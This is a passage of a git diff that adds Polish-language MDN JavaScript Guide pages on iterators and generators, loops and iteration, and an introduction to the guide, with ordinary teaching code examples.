+<p>Generator jest specjalnym typem funkcji, która działa jako fabryka dla iteratorów. Funkcja staje się generatorem, gdy zawiera przynajmniej jedno{{jsxref("Operatory/yield","yield")}} wyrażenie oraz gdy używa {{jsxref("Polecenia/function*","function*")}}.</p>
+
+<pre class="brush: js">function* idMaker() {
+ var index = 0;
+ while(true)
+ yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...</pre>
+
+<h2 id="Iterables">Iterables</h2>
+
+<p>An object is <strong>iterable</strong> if it defines its iteration behavior, such as what values are looped over in a {{jsxref("Polecenia/for...of", "for..of")}} construct. Some built-in types, such as {{jsxref("Array")}} or {{jsxref("Map")}}, have a default iteration behavior, while other types (such as {{jsxref("Object")}}) do not.</p>
+
+<p>In order to be <strong>iterable</strong>, an object must implement the <strong>@@iterator</strong> method, meaning that the object (or one of the objects up its <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype chain</a>) must have a property with a {{jsxref("Symbol.iterator")}} key:</p>
+
+<h3 id="User-defined_iterables">User-defined iterables</h3>
+
+<p>We can make our own iterables like this:</p>
+
+<pre class="brush: js">var myIterable = {};
+myIterable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+
+for (let value of myIterable) {
+ console.log(value);
+}
+// 1
+// 2
+// 3
+
+or
+
+[...myIterable]; // [1, 2, 3]
+</pre>
+
+<h3 id="Built-in_iterables">Built-in iterables</h3>
+
+<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} and {{jsxref("Set")}} are all built-in iterables, because the prototype objects of them all have a {{jsxref("Symbol.iterator")}} method.</p>
+
+<h3 id="Syntaxes_expecting_iterables">Syntaxes expecting iterables</h3>
+
+<p>Some statements and expressions are expecting iterables, for example the {{jsxref("Polecenia/for...of","for-of")}} loops, {{jsxref("Operatory/Spread_operator","spread operator","","true")}}, {{jsxref("Operatory/yield*","yield*")}}, and {{jsxref("Operatory/Destructuring_assignment","destructuring assignment","","true")}}.</p>
+
+<pre class="brush: js">for (let value of ['a', 'b', 'c']) {
+ console.log(value);
+}
+// "a"
+// "b"
+// "c"
+
+[...'abc']; // ["a", "b", "c"]
+
+function* gen() {
+ yield* ['a', 'b', 'c'];
+}
+
+gen().next(); // { value: "a", done: false }
+
+[a, b, c] = new Set(['a', 'b', 'c']);
+a; // "a"
+
+</pre>
+
+<h2 id="Advanced_generators">Advanced generators</h2>
+
+<p>Generators compute their yielded values on demand, which allows them to efficiently represent sequences that are expensive to compute, or even infinite sequences as demonstrated above.</p>
+
+<p>The {{jsxref("Obiekty/Generator/next","next()")}} method also accepts a value which can be used to modify the internal state of the generator. A value passed to <code>next()</code> will be treated as the result of the last <code>yield</code> expression that paused the generator.</p>
+
+<p>Here is the fibonacci generator using <code>next(x)</code> to restart the sequence:</p>
+
+<pre class="brush: js">function* fibonacci() {
+ var fn1 = 0;
+ var fn2 = 1;
+ while (true) {
+ var current = fn1;
+ fn1 = fn2;
+ fn2 = current + fn1;
+ var reset = yield current;
+ if (reset) {
+ fn1 = 0;
+ fn2 = 1;
+ }
+ }
+}
+
+var sequence = fibonacci();
+console.log(sequence.next().value); // 0
+console.log(sequence.next().value); // 1
+console.log(sequence.next().value); // 1
+console.log(sequence.next().value); // 2
+console.log(sequence.next().value); // 3
+console.log(sequence.next().value); // 5
+console.log(sequence.next().value); // 8
+console.log(sequence.next(true).value); // 0
+console.log(sequence.next().value); // 1
+console.log(sequence.next().value); // 1
+console.log(sequence.next().value); // 2</pre>
+
+<p>You can force a generator to throw an exception by calling its {{jsxref("Obiekty/Generator/throw","throw()")}} method and passing the exception value it should throw. This exception will be thrown from the current suspended context of the generator, as if the <code>yield</code> that is currently suspended were instead a <code>throw <em>value</em></code> statement.</p>
+
+<p>If a <code>yield</code> is not encountered during the processing of the thrown exception, then the exception will propagate up through the call to <code>throw()</code>, and subsequent calls to <code>next()</code> will result in the <code>done</code> property being <code>true</code>.</p>
+
+<p>Generators have a {{jsxref("Obiekty/Generator/return","return(value)")}} method that returns the given value and finishes the generator itself.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</p>
diff --git a/files/pl/web/javascript/guide/loops_and_iteration/index.html b/files/pl/web/javascript/guide/loops_and_iteration/index.html
new file mode 100644
index 0000000000..a53f1a9016
--- /dev/null
+++ b/files/pl/web/javascript/guide/loops_and_iteration/index.html
@@ -0,0 +1,332 @@
+---
+title: Pętle i iteracje
+slug: Web/JavaScript/Guide/Loops_and_iteration
+translation_of: Web/JavaScript/Guide/Loops_and_iteration
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</div>
+
+<p class="summary">Za pomocą pętli możemy w łatwy sposób powtarzać pewne czynności. Ten rodział <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a> zapoznaje z różnymi rodzajami pętli, dostępnymi w JavaScript.</p>
+
+<p>Możesz myśleć o pętli jak o skomputeryzowanej wersji gry w której mówisz komuś, żeby zrobił X kroków w jedym kierunku a następnie Y kroków w innym; przykład "Zrób 5 kroków na zachód" może być wyrażone za pomocą pętli w ten sposób:</p>
+
+<pre class="brush: js">var step;
+for (step = 0; step &lt; 5; step++) {
+ // Uruchamia się 5 razy, z wartościami od 0 do 4.
+ console.log('Idę na zachód jeden krok');
+}
+</pre>
+
+<p>Jest wiele różnych rodzajów pętli, lecz zwykle wszystkie robią to samo: powtarzają zadaną akcję pewną ilość razy (liczba powtórzeń może także wynosić 0).  Różne mechanizmy pętli oferują różne sposoby określania początku i końca pętli. W różnych sytuacjach łatwiej jest użyć danego typu pętli niż innego.</p>
+
+<p>Wyrażenia dla pętli obsługiwane w JavaScript:</p>
+
+<ul>
+ <li>{{anch("for")}}</li>
+ <li>{{anch("do...while")}}</li>
+ <li>{{anch("while")}}</li>
+ <li>{{anch("label")}}</li>
+ <li>{{anch("break")}}</li>
+ <li>{{anch("continue")}}</li>
+ <li>{{anch("for...in")}}</li>
+ <li>{{anch("for...of")}}</li>
+</ul>
+
+<h2 id="for"><code>for</code></h2>
+
+<p>Pętla <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> powtarza wykonie instrukcji, dopóki dostarczony warunek nie zwraca false. Pętla for w JavaScript jest podobna do tej z języków Java czy C. Składnia tej pętli wygląda następująco:</p>
+
+<pre class="syntaxbox">for ([wyrażenieInicjalizacji]; [warunek]; [wyrażenieInkrementacji])
+ Instrukcja
+</pre>
+
+<p>Podczas wykonywania się pętli for, mają miejsce następujące operacje:</p>
+
+<ol>
+ <li> Wykonywane jest wyrażenie <code>wyrażenieInicjalizacji</code>, o ile takie istnieje. Zazwyczaj w tym miejscu inicjalizuje się zmienne, które posłużą później jako liczniki dla pętli.</li>
+ <li> Sprawdzana jest wartość zwracana przez wyrażenie <code>warunek</code>, jeśli jest to true, pętla będzie wykonywać się dalej. Jeśli z kolei będzie to false, pętla zostanie przerwana. W przypadku nie podania żadnego wyrażenia warunkowego, pętla będzie traktować to jako true.</li>
+ <li>Wykonuje się <code>Instrukcja</code>.  W celu wykonania wielu instrukcji w jednym przebiegu pętli, należy je zgrupować i umieścić w bloku ( <code>{ ... }</code> ).</li>
+ <li> Wykonywane zostaje <code>wyrażenie inkrementacji</code>, o ile istnieje. W tym miejscu powiększamy wartość licznika pętli.</li>
+ <li>Zarządzanie pętlą wraca do kroku 2.</li>
+</ol>
+
+<h3 id="Przykład"><strong>Przykład</strong></h3>
+
+<p>Następująca funkcja zawiera pętle <code>for</code>, która zlicza elementy &lt;option&gt; w rozwijalnej liście &lt;select&gt;. W pętli zostaje zadeklarowana zmienna <code>i</code> z wartością 0. Sprawdza czy <code>i</code> jest mniejsze niż liczba elementów &lt;option&gt;, wykonuje kod wewnątrz i zwiększa wartość <code>i </code>po każdym przebiegu.</p>
+
+<pre class="brush: html">&lt;form name="selectForm"&gt;
+  &lt;p&gt;
+    &lt;label for="musicTypes"&gt;Choose some music types, then click the button below:&lt;/label&gt;
+    &lt;select id="musicTypes" name="musicTypes" multiple="multiple"&gt;
+      &lt;option selected="selected"&gt;R&amp;B&lt;/option&gt;
+      &lt;option&gt;Jazz&lt;/option&gt;
+      &lt;option&gt;Blues&lt;/option&gt;
+      &lt;option&gt;New Age&lt;/option&gt;
+      &lt;option&gt;Classical&lt;/option&gt;
+      &lt;option&gt;Opera&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/p&gt;
+  &lt;p&gt;&lt;input id="btn" type="button" value="How many are selected?" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+function howMany(selectObject) {
+ var numberSelected = 0;
+ for (var i = 0; i &lt; selectObject.options.length; i++) {
+ if (selectObject.options[i].selected) {
+ numberSelected++;
+ }
+ }
+ return numberSelected;
+}
+
+var btn = document.getElementById("btn");
+btn.addEventListener("click", function(){
+ alert('Number of options selected: ' + howMany(document.selectForm.musicTypes))
+});
+&lt;/script&gt;
+
+</pre>
+
+<h2 id="do...while"><code>do...while</code></h2>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Pętla </font><a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a></code> powtarza <code>instrukcje</code> wewnątrz, dopóki <code>warunek</code> nie zwróci false. Wygląda to następująco:</p>
+
+<pre class="syntaxbox">do
+ instrukcja
+while (warunek);
+</pre>
+
+<p>Możemy skorzystać z wyrażenia bloku (<code>{ ... }</code>), by zgrupować wiele instrukcji. Na końcu wykonywania instrukcji sprawdzany jest warunek. Jeśli zwróci on true, Pętla wykonan się po raz kolejny, z kolei false przerwie pętle. Warto zwrócić uwagę, że ze względu na miejsce umieszczenia warunku, zawsze wykona się ona przynajmniej raz.</p>
+
+<h3 id="Przykład_2"><strong>Przykład</strong></h3>
+
+<p>W tym przykładzie pętla będzie iterawoć do momentu kiedy licznik <code>i</code> nie będzie większy od 5.</p>
+
+<pre class="brush: js">do {
+ i += 1;
+ console.log(i);
+} while (i &lt; 5);</pre>
+
+<h2 id="while"><code>while</code></h2>
+
+<p>Pętla <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a></code> wykonuje się dopóki podany warunek zwraca true. Składnia jest następująca:</p>
+
+<pre class="syntaxbox">while (warunek)
+ instrukcja
+</pre>
+
+<p>Jeśli <code>warunek</code> zwróci false, pętla zostaje zatrzymana. W odróżniu od pętli <code>do ... while</code>, sprawdzania warunku mamy na początku. Oznacza to, że jeśli warunek na start zwraca name false, pętla nie wykona się ani razu.</p>
+
+<p>W tym przypadku również możemy zgrupować instrukcje za pomocą (<code>{ ... }</code>).</p>
+
+<h3 id="Przykład_1"><strong>Przykład 1</strong></h3>
+
+<p>Następująca pętla <code>while</code> iteruje tak długo aż n jest mniejszy od 3:</p>
+
+<pre class="brush: js">n = 0;
+x = 0;
+while (n &lt; 3) {
+ n++;
+ x += n;
+}
+</pre>
+
+<p>Z każdą iteracją, pętla inkrementuje wartość n i dodaje ją do x. W związku z tym x i n przyjmują następujące wartości:</p>
+
+<ul>
+ <li>Po pierwszym przebiegu: n = 1 i x = 1</li>
+ <li>Po drugim przebiegu: n = 2 i x = 3</li>
+ <li>Po trzecim przebiegu: n = 3 i x = 6</li>
+</ul>
+
+<p>Po wykonaniu trzeciego przebiegu, warunek n &lt; 3 nie zwraca już dłużej true, więc pętla zostaje przerwana.</p>
+
+<h3 id="Przykład_2_2"><strong>Przykład 2</strong></h3>
+
+<p>Unikaj nieskończonych pętli. Upewnij się, że podany warunek ma możliwośc zwrócenia false; w przeciwnym razie pętla nigdy nie zostanie przerwana, co w najgorszym razie spowoduje zawieszenie przeglądarki.</p>
+
+<p>Poniższy przykład przedstawia pętla, która nigdy nie zostanie przerwana, ponieważ podany warunek zawsze zwróci true:</p>
+
+<pre class="brush: js">while (true) {
+ console.log("Hello, world");
+}</pre>
+
+<h2 id="label_statement"><code>label</code> statement</h2>
+
+<p>A <a href="/en-US/docs/Web/JavaScript/Reference/Statements/label">label</a> provides a statement with an identifier that lets you refer to it elsewhere in your program. For example, you can use a label to identify a loop, and then use the <code>break</code> or <code>continue</code> statements to indicate whether a program should interrupt the loop or continue its execution.</p>
+
+<p>The syntax of the label statement looks like the following:</p>
+
+<pre class="syntaxbox">label :
+ statement
+</pre>
+
+<p>The value of <code><em>label</em></code> may be any JavaScript identifier that is not a reserved word. The <code><em>statement</em></code> that you identify with a label may be any statement.</p>
+
+<h3 id="Example"><strong>Example</strong></h3>
+
+<p>In this example, the label <code>markLoop</code> identifies a <code>while</code> loop.</p>
+
+<pre class="brush: js">markLoop:
+while (theMark == true) {
+ doSomething();
+}</pre>
+
+<h2 id="break_statement"><code>break</code> statement</h2>
+
+<p>Use the <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break">break</a></code> statement to terminate a loop, <code>switch</code>, or in conjunction with a label statement.</p>
+
+<ul>
+ <li>When you use <code>break</code> without a label, it terminates the innermost enclosing <code>while</code>, <code>do-while</code>, <code>for</code>, or <code>switch</code> immediately and transfers control to the following statement.</li>
+ <li>When you use <code>break</code> with a label, it terminates the specified labeled statement.</li>
+</ul>
+
+<p>The syntax of the <code>break</code> statement looks like this:</p>
+
+<ol>
+ <li><code>break;</code></li>
+ <li><code>break <em>label</em>;</code></li>
+</ol>
+
+<p>The first form of the syntax terminates the innermost enclosing loop or <code>switch</code>; the second form of the syntax terminates the specified enclosing label statement.</p>
+
+<h3 id="Example_1"><strong>Example</strong> <strong>1</strong></h3>
+
+<p>The following example iterates through the elements in an array until it finds the index of an element whose value is <code>theValue</code>:</p>
+
+<pre class="brush: js">for (i = 0; i &lt; a.length; i++) {
+ if (a[i] == theValue) {
+ break;
+ }
+}</pre>
+
+<h3 id="Example_2_Breaking_to_a_label"><strong>Example 2: </strong>Breaking to a label</h3>
+
+<pre class="brush: js">var x = 0;
+var z = 0
+labelCancelLoops: while (true) {
+ console.log("Outer loops: " + x);
+ x += 1;
+ z = 1;
+ while (true) {
+ console.log("Inner loops: " + z);
+ z += 1;
+ if (z === 10 &amp;&amp; x === 10) {
+ break labelCancelLoops;
+ } else if (z === 10) {
+ break;
+ }
+ }
+}
+</pre>
+
+<h2 id="continue_statement"><code>continue</code> statement</h2>
+
+<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/continue">continue</a></code> statement can be used to restart a <code>while</code>, <code>do-while</code>, <code>for</code>, or <code>label</code> statement.</p>
+
+<ul>
+ <li>When you use <code>continue</code> without a label, it terminates the current iteration of the innermost enclosing <code>while</code>, <code>do-while</code>, or <code>for</code> statement and continues execution of the loop with the next iteration. In contrast to the <code>break</code> statement, <code>continue</code> does not terminate the execution of the loop entirely. In a <code>while</code> loop, it jumps back to the condition. In a <code>for</code> loop, it jumps to the <code>increment-expression</code>.</li>
+ <li>When you use <code>continue</code> with a label, it applies to the looping statement identified with that label.</li>
+</ul>
+
+<p>The syntax of the <code>continue</code> statement looks like the following:</p>
+
+<ol>
+ <li><code>continue;</code></li>
+ <li><code>continue </code><em><code>label;</code></em></li>
+</ol>
+
+<h3 id="Example_1_2"><strong>Example 1</strong></h3>
+
+<p>The following example shows a <code>while</code> loop with a <code>continue</code> statement that executes when the value of <code>i</code> is three. Thus, <code>n</code> takes on the values one, three, seven, and twelve.</p>
+
+<pre class="brush: js">i = 0;
+n = 0;
+while (i &lt; 5) {
+ i++;
+ if (i == 3) {
+ continue;
+ }
+ n += i;
+}
+</pre>
+
+<h3 id="Example_2"><strong>Example 2</strong></h3>
+
+<p>A statement labeled <code>checkiandj</code> contains a statement labeled <code>checkj</code>. If <code>continue</code> is encountered, the program terminates the current iteration of <code>checkj</code> and begins the next iteration. Each time <code>continue</code> is encountered, <code>checkj</code> reiterates until its condition returns <code>false</code>. When <code>false</code> is returned, the remainder of the <code>checkiandj</code> statement is completed, and <code>checkiandj</code> reiterates until its condition returns <code>false</code>. When <code>false</code> is returned, the program continues at the statement following <code>checkiandj</code>.</p>
+
+<p>If <code>continue</code> had a label of <code>checkiandj</code>, the program would continue at the top of the <code>checkiandj</code> statement.</p>
+
+<pre class="brush: js">checkiandj:
+ while (i &lt; 4) {
+ console.log(i);
+ i += 1;
+ checkj:
+ while (j &gt; 4) {
+ console.log(j);
+ j -= 1;
+ if ((j % 2) == 0) {
+ continue checkj;
+ }
+ console.log(j + " is odd.");
+ }
+ console.log("i = " + i);
+ console.log("j = " + j);
+ }</pre>
+
+<h2 id="for...in_statement"><code>for...in</code> statement</h2>
+
+<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a> statement iterates a specified variable over all the enumerable properties of an object. For each distinct property, JavaScript executes the specified statements. A <code>for...in</code> statement looks as follows:</p>
+
+<pre class="syntaxbox">for (variable in object) {
+ statements
+}
+</pre>
+
+<h3 id="Example_3"><strong>Example</strong></h3>
+
+<p>The following function takes as its argument an object and the object's name. It then iterates over all the object's properties and returns a string that lists the property names and their values.</p>
+
+<pre class="brush: js">function dump_props(obj, obj_name) {
+ var result = "";
+ for (var i in obj) {
+ result += obj_name + "." + i + " = " + obj[i] + "&lt;br&gt;";
+ }
+ result += "&lt;hr&gt;";
+ return result;
+}
+</pre>
+
+<p>For an object <code>car</code> with properties <code>make</code> and <code>model</code>, <code>result</code> would be:</p>
+
+<pre class="brush: js">car.make = Ford
+car.model = Mustang
+</pre>
+
+<h3 id="Arrays"><strong>Arrays</strong></h3>
+
+<p>Although it may be tempting to use this as a way to iterate over {{jsxref("Array")}} elements, the <strong>for...in</strong> statement will return the name of your user-defined properties in addition to the numeric indexes. Thus it is better to use a traditional <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> loop with a numeric index when iterating over arrays, because the <strong>for...in</strong> statement iterates over user-defined properties in addition to the array elements, if you modify the Array object, such as adding custom properties or methods.</p>
+
+<h2 id="for...of_statement"><code>for...of</code> statement</h2>
+
+<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> statement creates a loop Iterating over <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable">iterable objects</a> (including {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a> object and so on), invoking a custom iteration hook with statements to be executed for the value of each distinct property.</p>
+
+<pre class="syntaxbox">for (<em>variable</em> of <em>object</em>) {
+ <em>statement
+</em>}</pre>
+
+<p>The following example shows the difference between a <code>for...of</code> loop and a <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="en-US/docs/JavaScript/Reference/Statements/for...in">for...in</a></code> loop. While <code>for...in</code> iterates over property names, <code>for...of</code> iterates over property values:</p>
+
+<pre class="brush:js">let arr = [3, 5, 7];
+arr.foo = "hello";
+
+for (let i in arr) {
+ console.log(i); // logs "0", "1", "2", "foo"
+}
+
+for (let i of arr) {
+ console.log(i); // logs "3", "5", "7"
+}
+</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</p>
diff --git a/files/pl/web/javascript/guide/o_tym_przewodniku/index.html b/files/pl/web/javascript/guide/o_tym_przewodniku/index.html
new file mode 100644
index 0000000000..f4a5756dbc
--- /dev/null
+++ b/files/pl/web/javascript/guide/o_tym_przewodniku/index.html
@@ -0,0 +1,138 @@
+---
+title: O tym przewodniku
+slug: Web/JavaScript/Guide/o_tym_przewodniku
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<p>JavaScript jest międzyplatformowym, zorientowanym obiektowo językiem skryptowym. Poniższy przewodnik tłumaczy wszystko, co powinieneś wiedzieć abyś mógł posługiwać się JavaScriptem.</p>
+
+<h2 id="Nowe_opcje_w_JavaScripcie">Nowe opcje w JavaScripcie</h2>
+
+<p> </p>
+
+<ul>
+ <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.2" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.2</a></li>
+ <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.3" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.3</a></li>
+ <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.4" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.4</a></li>
+ <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.5" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.5</a></li>
+ <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.6" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.6</a></li>
+ <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.7" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.7</a></li>
+ <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.8" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.8</a></li>
+ <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.8.1" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.8.1</a></li>
+ <li><a class="new" href="/pl/docs/Web/JavaScript/New_in_JavaScript/1.8.5" rel="nofollow">/pl/docs/Web/JavaScript/New_in_JavaScript/1.8.5</a></li>
+</ul>
+
+<p> </p>
+
+<h2 id="Co_już_powinieneś_wiedzieć">Co już powinieneś wiedzieć</h2>
+
+<p>Ten przewodnik zakłada że masz poniższe podstawy:</p>
+
+<ul>
+ <li>Ogólna wiedza o Internecie i sieci WWW.</li>
+ <li>Dobra znajomość HTML'a (<a href="/en/HTML" title="en/HTML">HTML</a>).</li>
+ <li>Trochę doświadczenia w programowaniu. Jeżeli go nie posiadasz, spróbuj pobawić się z którymś z tutoriali ze strony <a href="/en-US/docs/JavaScript" title="/en-US/docs/">JavaScript</a></li>
+</ul>
+
+<h2 id="Wersje_JavaScriptu">Wersje JavaScriptu</h2>
+
+<table class="standard-table">
+ <caption>Tabela 1 JavaScript i wersje Navigatora</caption>
+ <thead>
+ <tr>
+ <th scope="col">Wersja JavaScriptu</th>
+ <th scope="col">Wersja Navigatora</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>JavaScript 1.0</td>
+ <td>Navigator 2.0</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.1</td>
+ <td>Navigator 3.0</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.2</td>
+ <td>Navigator 4.0-4.05</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.3</td>
+ <td>Navigator 4.06-4.7x</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.4</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.5</td>
+ <td>Navigator 6.0<br>
+ Mozilla (open sourceowa przeglądarka)</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.6</td>
+ <td><a href="/en/Firefox_1.5_for_developers" title="en/Firefox_1.5_for_developers">Firefox 1.5</a>, inne przeglądarki oparte na Mozilli 1.8</td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.7</td>
+ <td><a href="/en/Firefox_2_for_developers" title="en/Firefox_2_for_developers">Firefox 2</a>, inne przeglądarki oparte na Mozilli<span style="line-height: inherit;"> 1.8.1</span></td>
+ </tr>
+ <tr>
+ <td>JavaScript 1.8</td>
+ <td><a href="/en/Firefox_3_for_developers" title="en/Firefox_3_for_developers">Firefox 3</a>, inne przeglądarki oparte na Gecko 1.9</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Gdzie_znaleźć_informacje_o_JavaScripcie">Gdzie znaleźć informacje o JavaScripcie</h2>
+
+<p>Dokumentacja JavaScript zawiera następujące książki:</p>
+
+<ul>
+ <li><a href="/pl/JavaScript/Przewodnik" title="en/Core_JavaScript_1.5_Guide">Przewodnik JavaScript</a> (ten przewodnik) dostarcza informacji o języku JavaScript i jego obiektach.</li>
+ <li><a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a> dostarcza dodatkową wiedzę o języku JavaScript.</li>
+</ul>
+
+<p>Jeżeli dopiero zaczynasz swoją przygodę z JavaScriptem, zacznij od <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">Przewodnika JavaScript</a>. Jeżeli posiądziesz już podstawowe umiejętności, możesz przejśc do <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a> aby zdobyć bardziej szczegółową, dogłębną wiedzę.</p>
+
+<h2 id="Jak_się_uczyć_JavaScriptu">Jak się uczyć JavaScriptu</h2>
+
+<p>Rozpoczęcie nauki JavaScriptu jest proste: wszystko czego potrzebujesz to nowoczesna przeglądarka internetowa<span style="line-height: inherit;">. Ten przewodnik zawiera skrypty działające jedynie w najnowszej wersji Firefoxa (i innych przeglądarkach opartych na Gecko), także sugerujemy używanie jego najnowszej wersji.</span></p>
+
+<h3 id="Interaktywny_interpreter">Interaktywny interpreter</h3>
+
+<p>Interaktywna konsola JavaScriptowa stanowi nieocenioną pomoc przy nauce, pozwala ona testować skrypty bez zapisywania plików i odświeżania okna przeglądarki. Konsola błędów w Firefoxie (Narzędzia-Dla twórców WWW-Konsola WWW lub też Ctrl+Shift+K) dostarcza prosty sposób by przetesować JavaScript: poprostu wpisz linijkę kodu i zatwierdź ją Enterem.</p>
+
+<p><img alt="Konsola www w Firefoxie 25.0.1" src="https://mdn.mozillademos.org/files/6491/konsola.jpg" style="height: 252px; width: 803px;"></p>
+
+<p> </p>
+
+<h3 id="Firebug">Firebug</h3>
+
+<p>Bardziej zaawansowana konsola dostępna jest po zainstalowaniu dodatku do Firefoxa o nazwie <a class="external" href="http://www.getfirebug.com/">Firebug</a>. Wyrażenia, które wprowadzisz są interpretowane jako obiekty i są połączone z innymi częsciami Firebuga. Prosty przykład: </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6493/firebug.jpg" style="height: 280px; width: 859px;"></p>
+
+<p> </p>
+
+<p>Użycie strzałki znajdującej się w prawym, dolnym rogu pozwala wprowadzać wielolinijkowy kod.</p>
+
+<p>Firebug udostępnia również zaawansowany inspektor DOM, debugger JavaScriptu oraz wiele innych, użytecznych funkcji. Kod JavaScript działający na stronie może użyć funkcji <code>console.log()</code>, służącej do wyświewtlania zawartości w konsoli Firebuga.</p>
+
+<h2 id="Konwencje_tekstowe_w_tym_dokumencie">Konwencje tekstowe w tym dokumencie</h2>
+
+<p>Aplikacje JavaScriptu działają na wielu systemach operacyjnych, informacje zawarte w tej książce odnoszą się do wszystkich tych wersji. Ścierzki do plików i katalogów zapisane są w formacie Windowsowym (z backslashami oddzielającymi nazwy folderów). Wsystemach Unixowych backslashe nalezy zastąpić slashami. </p>
+
+<p>Adresy URL w tym przewodniku mają następującą formę:</p>
+
+<p><code>http://<em>serwer</em>.<em>domena</em>/<em>sciezka</em>/<em>plik</em>.html</code></p>
+
+<p>W tych URLach <em>serwer</em> reprezentuje nazwę serwera, którego używasz, np. <code>test1</code> czy <code>www</code>; <em>domena</em> to nazwa Twojej domeny np. <code>netscape.com</code> czy <code>uiuc.edu</code>; <em>sciezka</em> odpowiada za lokalizację pliku na twoim serwerze zaś <em>plik</em><code>.html</code> to konkretna nazwa pliku. Ogólnie rzecz ujmując w adresie URL teksty pisane czcionką pochyłą oznacza lokalizację pliku zaś te pisane czcionką o stałej szerokości to literały. Jeżeli twój serwer ma włączony protokół SSL, zamiast używać przedrostka<span style="line-height: inherit;"> </span><code style="font-size: 14px; line-height: inherit;">http,</code><span style="line-height: inherit;"> posługiwać się będziesz </span><code style="font-size: 14px; line-height: inherit;">https</code><span style="line-height: inherit;">.</span></p>
+
+<p>Przewodnik ten używa następujących konwencji tekstowych:</p>
+
+<ul>
+ <li><code>Czciona o stałej szerokości</code> przedstawia przykładowy kod, jego listingi, elementy API oraz języka JavaScript (np. nazwy metod i właściwości), nazwy plików, nazwy katalogów, tagi HTML oraz każdy inny tekst, który musisz wpisać.  (<code><em>Pochyła czcionka o stałej szerokości</em></code> używana jest gdy wpisujemy ścieżki w kod.)</li>
+ <li><em>Czcionka pochyła</em> jest używana w przypadku tytułów książek, by wyróżnić tekst, wskazać zmienną czy też lokalizację.</li>
+ <li><strong>Czcionka wytłuszczona</strong> wskazuje na ważne nazwy.</li>
+</ul>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/index.html b/files/pl/web/javascript/guide/obsolete_pages/index.html
new file mode 100644
index 0000000000..26e6692789
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/index.html
@@ -0,0 +1,10 @@
+---
+title: Obsolete Pages
+slug: Web/JavaScript/Guide/Obsolete_Pages
+tags:
+ - NeedsTranslation
+ - TopicStub
+translation_of: Web/JavaScript/Guide
+---
+<p>This is a list of pages that have been merged into chapters (in alphabetical order):</p>
+<p>{{ tree() }}</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/blok_instrukcji/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/blok_instrukcji/index.html
new file mode 100644
index 0000000000..3d89c82b57
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/blok_instrukcji/index.html
@@ -0,0 +1,41 @@
+---
+title: Blok instrukcji
+slug: >-
